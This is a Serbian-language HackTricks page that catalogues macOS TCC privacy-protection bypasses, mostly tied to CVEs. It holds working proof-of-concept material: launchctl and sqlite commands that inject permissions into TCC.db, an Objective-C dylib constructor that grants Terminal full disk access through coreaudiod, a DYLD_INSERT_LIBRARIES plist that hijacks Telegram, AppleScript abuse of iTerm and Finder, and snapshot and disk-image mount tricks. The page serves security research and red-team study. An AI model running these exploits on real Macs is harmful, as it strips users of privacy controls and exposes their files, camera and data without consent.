macOS TCC Bypasses

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Po funkcionalnosti

Bypass za pisanje

Ovo nije zaobilazak, to je samo kako TCC radi: Ne štiti od pisanja. Ako Terminal nema pristup čitanju Desktop-a korisnika, i dalje može da piše u njega:

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

Prošireni atribut com.apple.macl dodaje se novom datotekom kako bi dao pristup aplikaciji kreatora da je pročita.

TCC ClickJacking

Moguće je postaviti prozor preko TCC prozora kako bi korisnik prihvatio bez primetnog obaveštenja. Možete pronaći PoC u TCC-ClickJacking.

TCC Zahtev po proizvoljnom imenu

Napadač može kreirati aplikacije sa bilo kojim imenom (npr. Finder, Google Chrome...) u Info.plist i zatražiti pristup nekoj TCC zaštićenoj lokaciji. Korisnik će pomisliti da legitimna aplikacija traži ovaj pristup. Osim toga, moguće je ukloniti legitimnu aplikaciju sa Dock-a i postaviti lažnu na nju, tako da kada korisnik klikne na lažnu (koja može koristiti istu ikonu) može pozvati legitimnu, zatražiti TCC dozvole i izvršiti malver, čineći korisnika da poveruje da je legitimna aplikacija zatražila pristup.

Više informacija i PoC u:

pagemacOS Privilege Escalation

SSH Bypass

Podrazumevano, pristup putem SSH je imao "Pristup celom disku". Da biste ovo onemogućili, morate ga imati navedenog ali onemogućenog (uklanjanje sa liste neće ukloniti te privilegije):

Ovde možete pronaći primere kako su neki malveri uspeli da zaobiđu ovu zaštitu:

Imajte na umu da sada, da biste mogli omogućiti SSH, potrebno je imati Pristup celom disku

Upravljanje ekstenzijama - CVE-2022-26767

Atribut com.apple.macl dodeljuje se datotekama kako bi dala određenoj aplikaciji dozvole da je pročita. Ovaj atribut se postavlja kada se prevuče i ispusti datoteka preko aplikacije, ili kada korisnik dvaput klikne na datoteku da je otvori sa podrazumevanom aplikacijom.

Stoga, korisnik bi mogao registrovati zlonamernu aplikaciju da upravlja svim ekstenzijama i pozvati Launch Services da otvori bilo koju datoteku (tako da će zlonamerna datoteka dobiti pristup da je pročita).

iCloud

Pravo com.apple.private.icloud-account-access omogućava komunikaciju sa com.apple.iCloudHelper XPC servisom koji će pružiti iCloud tokene.

iMovie i Garageband imali su ovo pravo i druga koja su dozvoljena.

Za više informacija o eksploataciji za dobijanje icloud tokena iz tog prava, pogledajte predavanje: #OBTS v5.0: "Šta se dešava na vašem Mac-u, ostaje na Apple-ovom iCloud-u?!" - Wojciech Regula

kTCCServiceAppleEvents / Automatizacija

Aplikacija sa dozvolom kTCCServiceAppleEvents moći će da kontroliše druge aplikacije. To znači da bi mogla zloupotrebiti dozvole dodeljene drugim aplikacijama.

Za više informacija o Apple skriptama pogledajte:

pagemacOS Apple Scripts

Na primer, ako aplikacija ima dozvolu za Automatizaciju nad iTerm, na primer u ovom slučaju Terminal ima pristup nad iTerm-om:

Nad iTerm-om

Terminal, koji nema Pristup celom disku, može pozvati iTerm, koji ima, i koristiti ga za izvršavanje akcija:

iterm.script
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
osascript iterm.script

Preko Findera

Ili ako aplikacija ima pristup preko Findera, mogla bi koristiti skriptu poput ove:

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

Po ponašanju aplikacije

CVE-2020–9934 - TCC

tccd daemon u korisničkom prostoru koristi HOME env promenljivu za pristup bazi podataka korisnika TCC iz: $HOME/Library/Application Support/com.apple.TCC/TCC.db

Prema ovom Stack Exchange postu i zato što TCC daemon radi putem launchd unutar trenutne korisničke domene, moguće je kontrolisati sve environment promenljive koje mu se prosleđuju. Stoga, napadač može postaviti $HOME environment promenljivu u launchctl da pokazuje na kontrolisani direktorijum, restartovati TCC daemon, a zatim direktno izmeniti TCC bazu podataka kako bi sebi dao sve dostupne TCC privilegije bez ikakvog upita korisniku. PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - Beleške

Beleške su imale pristup TCC zaštićenim lokacijama, ali kada se napravi beleška, ona se kreira na lokaciji koja nije zaštićena. Dakle, mogli ste zatražiti od beleški da kopiraju zaštićenu datoteku u belešku (na lokaciju koja nije zaštićena) i zatim pristupiti datoteci:

CVE-2021-30782 - Translokacija

Binarni fajl /usr/libexec/lsd sa bibliotekom libsecurity_translocate imao je dozvolu com.apple.private.nullfs_allow koja mu je omogućila da kreira nullfs mount i imao je dozvolu com.apple.private.tcc.allow sa kTCCServiceSystemPolicyAllFiles za pristup svakoj datoteci.

Bilo je moguće dodati karantin atribut "Library", pozvati XPC servis com.apple.security.translocation i zatim mapirati Library u $TMPDIR/AppTranslocation/d/d/Library gde su sve datoteke unutar Library-ja mogle biti pristupljene.

CVE-2023-38571 - Muzika & TV

Muzika ima zanimljivu funkciju: Kada se pokrene, uvešće datoteke koje su spuštene u ~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized u korisnikov "medijski biblioteku". Osim toga, poziva nešto poput: rename(a, b); gde su a i b:

  • a = "~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized/mojafajl.mp3"

  • b = "~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized/Nije dodato.localized/2023-09-25 11.06.28/mojafajl.mp3

Ova rename(a, b); funkcionalnost je ranjiva na Trku stanja, jer je moguće staviti lažnu TCC.db datoteku unutar foldera Automatski dodaj u Muziku.localized i zatim kada se kreira novi folder(b), kopirati datoteku, obrisati je, i usmeriti je ka ~/Biblioteka/Podrška Aplikacije/com.apple.TCC/.

SQLITE_SQLLOG_DIR - CVE-2023-32422

Ako je SQLITE_SQLLOG_DIR="putanja/folder" to u osnovi znači da će svaka otvorena baza podataka biti kopirana na tu putanju. U ovom CVE-u, ova kontrola je zloupotrebljena kako bi se pisalo unutar SQLite baze podataka koja će biti otvorena od strane procesa sa FDA bazom podataka TCC, a zatim zloupotrebljena SQLITE_SQLLOG_DIR sa simboličkom vezom u imenu datoteke tako da kada se ta baza podataka otvori, korisnikova TCC.db baza podataka bude prebrisana otvorenom bazom.

Više informacija u objašnjenju i u predavanju.

SQLITE_AUTO_TRACE

Ako je postavljena okolina promenljiva SQLITE_AUTO_TRACE, biblioteka libsqlite3.dylib će početi logovati sve SQL upite. Mnoge aplikacije su koristile ovu biblioteku, pa je bilo moguće logovati sve njihove SQLite upite.

Nekoliko Apple aplikacija je koristilo ovu biblioteku za pristup informacijama zaštićenim TCC-om.

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407

Ova env promenljiva se koristi od strane Metal okvira koji je zavisnost za različite programe, najpoznatije Music, koji ima FDA.

Postavljanjem sledećeg: MTL_DUMP_PIPELINES_TO_JSON_FILE="putanja/naziv". Ako je putanja validan direktorijum, bag će biti aktiviran i možemo koristiti fs_usage da vidimo šta se dešava u programu:

  • biće otvoren fajl, nazvan putanja/.dat.nosyncXXXX.XXXXXX (X je slučajan)

  • jedan ili više write() će upisati sadržaj u fajl (mi ne kontrolišemo ovo)

  • putanja/.dat.nosyncXXXX.XXXXXX će biti preimenovan u putanja/naziv

To je privremeni upis fajla, praćen sa rename(stari, novi) što nije sigurno.

Nije sigurno jer mora da reši stare i nove putanje odvojeno, što može potrajati neko vreme i može biti ranjivo na Trku Stanja. Za više informacija možete proveriti xnu funkciju renameat_internal().

Dakle, ako privilegovani proces preimenuje iz foldera koji kontrolišete, mogli biste dobiti RCE i naterati ga da pristupi drugom fajlu ili, kao u ovom CVE-u, otvoriti fajl koji je privilegovana aplikacija kreirala i sačuvati FD.

Ako preimenovanje pristupi folderu koji kontrolišete, dok ste modifikovali izvorni fajl ili imate FD do njega, promenite destinacioni fajl (ili folder) da pokazuje na simboličnu vezu, tako da možete pisati kad god želite.

Ovo je bio napad u CVE-u: Na primer, da prepišemo korisnikov TCC.db, možemo:

  • kreirati /Users/hacker/nasalink da pokazuje na /Users/hacker/Library/Application Support/com.apple.TCC/

  • kreirati direktorijum /Users/hacker/tmp/

  • postaviti MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db

  • aktivirati bag pokretanjem Music sa ovom env varijablom

  • uhvatiti open() /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX (X je slučajan)

  • ovde takođe open() ovaj fajl za pisanje, i zadržati fajl deskriptor

  • atomički zameniti /Users/hacker/tmp sa /Users/hacker/nasalink u petlji

  • ovo radimo da bismo maksimizirali šanse za uspeh jer je prozor trke prilično kratak, ali gubitak trke ima zanemarljive posledice

  • sačekati malo

  • testirati da li smo imali sreće

  • ako ne, pokrenuti ponovo od početka

Više informacija na https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html

Sada, ako pokušate da koristite env promenljivu MTL_DUMP_PIPELINES_TO_JSON_FILE aplikacije se neće pokrenuti

Apple Remote Desktop

Kao root možete omogućiti ovu uslugu i ARD agent će imati pun pristup disku što bi zatim mogao biti zloupotrebljen od strane korisnika da ga natera da kopira novu TCC bazu podataka korisnika.

Preko NFSHomeDirectory

TCC koristi bazu podataka u HOME folderu korisnika da kontroliše pristup resursima specifičnim za korisnika na $HOME/Library/Application Support/com.apple.TCC/TCC.db. Stoga, ako korisnik uspe da ponovo pokrene TCC sa $HOME env promenljivom koja pokazuje na različit folder, korisnik bi mogao kreirati novu TCC bazu podataka u /Library/Application Support/com.apple.TCC/TCC.db i prevariti TCC da odobri bilo koju TCC dozvolu bilo kojoj aplikaciji.

Imajte na umu da Apple koristi postavku sačuvanu unutar korisničkog profila u NFSHomeDirectory atributu za vrednost $HOME, tako da ako kompromitujete aplikaciju sa dozvolama za modifikaciju ove vrednosti (kTCCServiceSystemPolicySysAdminFiles), možete oružati ovu opciju sa TCC zaobilaskom.

CVE-2021-30970 - Powerdir

Prvi POC koristi dsexport i dsimport da modifikuje HOME folder korisnika.

  1. Dobiti csreq blob za ciljnu aplikaciju.

  2. Ubaciti lažni TCC.db fajl sa potrebnim pristupom i csreq blobom.

  3. Izvezite korisnikov unos Directory Services-a sa dsexport.

  4. Modifikujte unos Directory Services-a da promenite korisnikov home direktorijum.

  5. Uvezite modifikovani unos Directory Services-a sa dsimport.

  6. Zaustavite korisnikov tccd i ponovo pokrenite proces.

Drugi POC koristi /usr/libexec/configd koji je imao com.apple.private.tcc.allow sa vrednošću kTCCServiceSystemPolicySysAdminFiles. Bilo je moguće pokrenuti configd sa -t opcijom, napadač bi mogao specificirati prilagođeni Bundle za učitavanje. Stoga, eksploatacija zamenjuje metod dsexport i dsimport za promenu korisnikovog home direktorijuma sa configd kodom za ubacivanje.

Za više informacija proverite originalni izveštaj.

Ubacivanjem procesa

Postoje različite tehnike za ubacivanje koda unutar procesa i zloupotrebu njegovih TCC privilegija:

pagemacOS Process Abuse

Štaviše, najčešće ubacivanje procesa za zaobilaženje TCC koje je pronađeno je putem dodataka (učitavanje biblioteke). Dodaci su dodatni kod obično u obliku biblioteka ili plist, koji će biti učitani od strane glavne aplikacije i izvršavati se pod njenim kontekstom. Stoga, ako glavna aplikacija ima pristup TCC ograničenim fajlovima (putem odobrenih dozvola ili privilegija), prilagođeni kod će takođe imati pristup.

CVE-2020-27937 - Directory Utility

Aplikacija /System/Library/CoreServices/Applications/Directory Utility.app je imala privilegiju kTCCServiceSystemPolicySysAdminFiles, učitavala je dodatke sa .daplug ekstenzijom i nije imala ojačan runtime.

Da bi se oružao ovaj CVE, NFSHomeDirectory je promenjen (zloupotrebljavajući prethodnu privilegiju) kako bi se moglo preuzeti korisničko TCC skladište zaobići TCC.

Za više informacija proverite originalni izveštaj.

CVE-2020-29621 - Coreaudiod

Binarni fajl /usr/sbin/coreaudiod imao je dozvole com.apple.security.cs.disable-library-validation i com.apple.private.tcc.manager. Prva dozvola omogućavala je ubacivanje koda, a druga mu je davala pristup za upravljanje TCC.

Ovaj binarni fajl je omogućavao učitavanje dodatnih plug-ina iz foldera /Library/Audio/Plug-Ins/HAL. Stoga je bilo moguće učitati dodatak i zloupotrebiti TCC dozvole pomoću ovog PoC-a:

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

Za više informacija pogledajte originalni izveštaj.

Dodaci sloja apstrakcije uređaja (DAL)

Sistemski programi koji otvaraju video strim putem Core Media I/O (aplikacije sa kTCCServiceCamera) učitavaju u proces ove dodatke smeštene u /Library/CoreMediaIO/Plug-Ins/DAL (neograničeno od strane SIP-a).

Dovoljno je samo sačuvati biblioteku sa zajedničkim konstruktorom kako bi se omogućilo ubacivanje koda.

Nekoliko Apple aplikacija je bilo ranjivo na ovo.

Firefox

Aplikacija Firefox je imala dozvole com.apple.security.cs.disable-library-validation i com.apple.security.cs.allow-dyld-environment-variables:

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

Za više informacija o tome kako lako iskoristiti ovo proverite originalni izveštaj.

CVE-2020-10006

Binarni fajl /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl imao je dozvole com.apple.private.tcc.allow i com.apple.security.get-task-allow, što je omogućilo ubacivanje koda unutar procesa i korišćenje TCC privilegija.

CVE-2023-26818 - Telegram

Telegram je imao dozvole com.apple.security.cs.allow-dyld-environment-variables i com.apple.security.cs.disable-library-validation, tako da je bilo moguće zloupotrebiti ih kako bi se dobio pristup njenim dozvolama poput snimanja kamerom. Možete pronaći payload u analizi.

Primetite kako se koristi env promenljiva da se učita biblioteka, prilagođeni plist je kreiran da ubaci ovu biblioteku i launchctl je korišćen da je pokrene:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist

Pomoću otvorenih poziva

Moguće je pozvati open čak i dok je pesakovan

Terminalni skriptovi

Često je uobičajeno dati terminalu Pristup celom disku (FDA), barem na računarima koje koriste tehničari. I moguće je pozvati .terminal skriptove koristeći ga.

.terminal skriptovi su plist fajlovi poput ovog sa naredbom za izvršenje u ključu CommandString:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

Aplikacija bi mogla napisati terminalni skriptu na lokaciji poput /tmp i pokrenuti je sa komandom poput:

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

Montiranjem

CVE-2020-9771 - mount_apfs TCC zaobilaženje i eskalacija privilegija

Bilo koji korisnik (čak i neprivilegovani) može kreirati i montirati snimak vremenske mašine i pristupiti SVIM datotekama tog snimka. Jedina privilegija potrebna je za korišćenu aplikaciju (kao što je Terminal) da ima Pristup celom disku (Full Disk Access - FDA) (kTCCServiceSystemPolicyAllfiles) koja mora biti odobrena od strane administratora.

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

Detaljnije objašnjenje možete pronaći u originalnom izveštaju.

CVE-2021-1784 & CVE-2021-30808 - Montiranje preko TCC fajla

Čak i ako je TCC DB fajl zaštićen, bilo je moguće montirati preko direktorijuma novi TCC.db fajl:

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

Proverite potpunu eksploataciju u originalnom writeup-u.

asr

Alat /usr/sbin/asr omogućio je kopiranje celog diska i montiranje na drugom mestu zaobilazeći TCC zaštite.

Lokacijske usluge

Postoji treća TCC baza podataka u /var/db/locationd/clients.plist koja pokazuje klijente koji su dozvoljeni da pristupe lokacijskim uslugama. Folder /var/db/locationd/ nije bio zaštićen od DMG montiranja pa je bilo moguće montirati naš plist.

Pokretanjem aplikacija

pagemacOS Auto Start

Korišćenjem grep-a

U nekoliko slučajeva, fajlovi će čuvati osetljive informacije poput emailova, brojeva telefona, poruka... na nezaštićenim lokacijama (što se računa kao ranjivost u Apple-u).

Sintetički klikovi

Ovo više ne funkcioniše, ali je funkcionisalo u prošlosti:

Drugi način korišćenjem CoreGraphics događaja:

Reference

Last updated